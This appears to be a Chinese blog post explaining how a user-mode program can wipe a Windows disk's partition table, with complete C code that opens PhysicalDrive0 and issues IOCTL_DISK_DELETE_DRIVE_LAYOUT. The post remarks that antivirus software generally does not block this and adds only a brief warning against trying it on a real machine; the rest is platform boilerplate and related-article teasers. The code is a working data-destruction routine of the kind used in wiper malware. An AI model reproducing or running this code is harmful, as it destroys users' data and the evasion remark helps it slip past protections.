R3全盘毁坏数据

HAPPYersIP属地: 浙江
0.096字数 54阅读 254

打开物理磁盘或者打开分区符号(这个需要循环)

然后使用下发IOCTL_DISK_DELETE_DRIVE_LAYOUT请求,删除分区表

一般杀软也不会阻止

不要在真机中实验!

代码:

#include<stdio.h>
#include<Windows.h>
#include<ntddscsi.h>
#include <tchar.h>

int main()
{
    DWORD lpBytesReturned;
    OVERLAPPED lpOverlapped = { 0 };

    HANDLE hDiskHandle = CreateFile(_T("\\\\.\\PhysicalDrive0"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if (!hDiskHandle) {
        printf("Fail \n");
        getchar();
        return 0;
    }
    bool ret = DeviceIoControl(hDiskHandle,
        IOCTL_DISK_DELETE_DRIVE_LAYOUT,//0x0007C100
        NULL,
        0,
        NULL,
        0,
        &lpBytesReturned,
        &lpOverlapped);
    
    CloseHandle(hDiskHandle);

    printf("Finish\n");
    return 0;
}
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。
更多精彩内容,就在简书APP
"小礼物走一走,来简书关注我"
还没有人赞赏,支持一下
HAPPYershappyers.top
总资产25共写了13.7W字获得103个赞共74个粉丝

推荐阅读更多精彩内容

  • ORA-00001: 违反唯一约束条件 (.) 错误说明:当在唯一索引所对应的列上键入重复值时,会触发此异常。 O...
    我想起个好名字阅读 5,459评论 0 9
  • Linux系统一般有4个主要部分:内核、shell、文件系统和应用程序。 内核、shell和文件系统一起形成了基本...
    请爱护小动物阅读 2,913评论 0 22
  • 简介 DOS是英文Disk Operating System的缩写,意思是“磁盘操作系统”,顾名思义,DOS主要是...
    Coder_Cat阅读 17,994评论 1 18
  • 今天看到一位朋友写的mysql笔记总结,觉得写的很详细很用心,这里转载一下,供大家参考下,也希望大家能关注他原文地...
    信仰与初衷阅读 4,763评论 0 30
  • Linux系统一般有4个主要部分: 内核、shell、文件系统和应用程序。内核、shell和文件系统一起形成了基本...
    偷风筝的人_阅读 3,284评论 1 17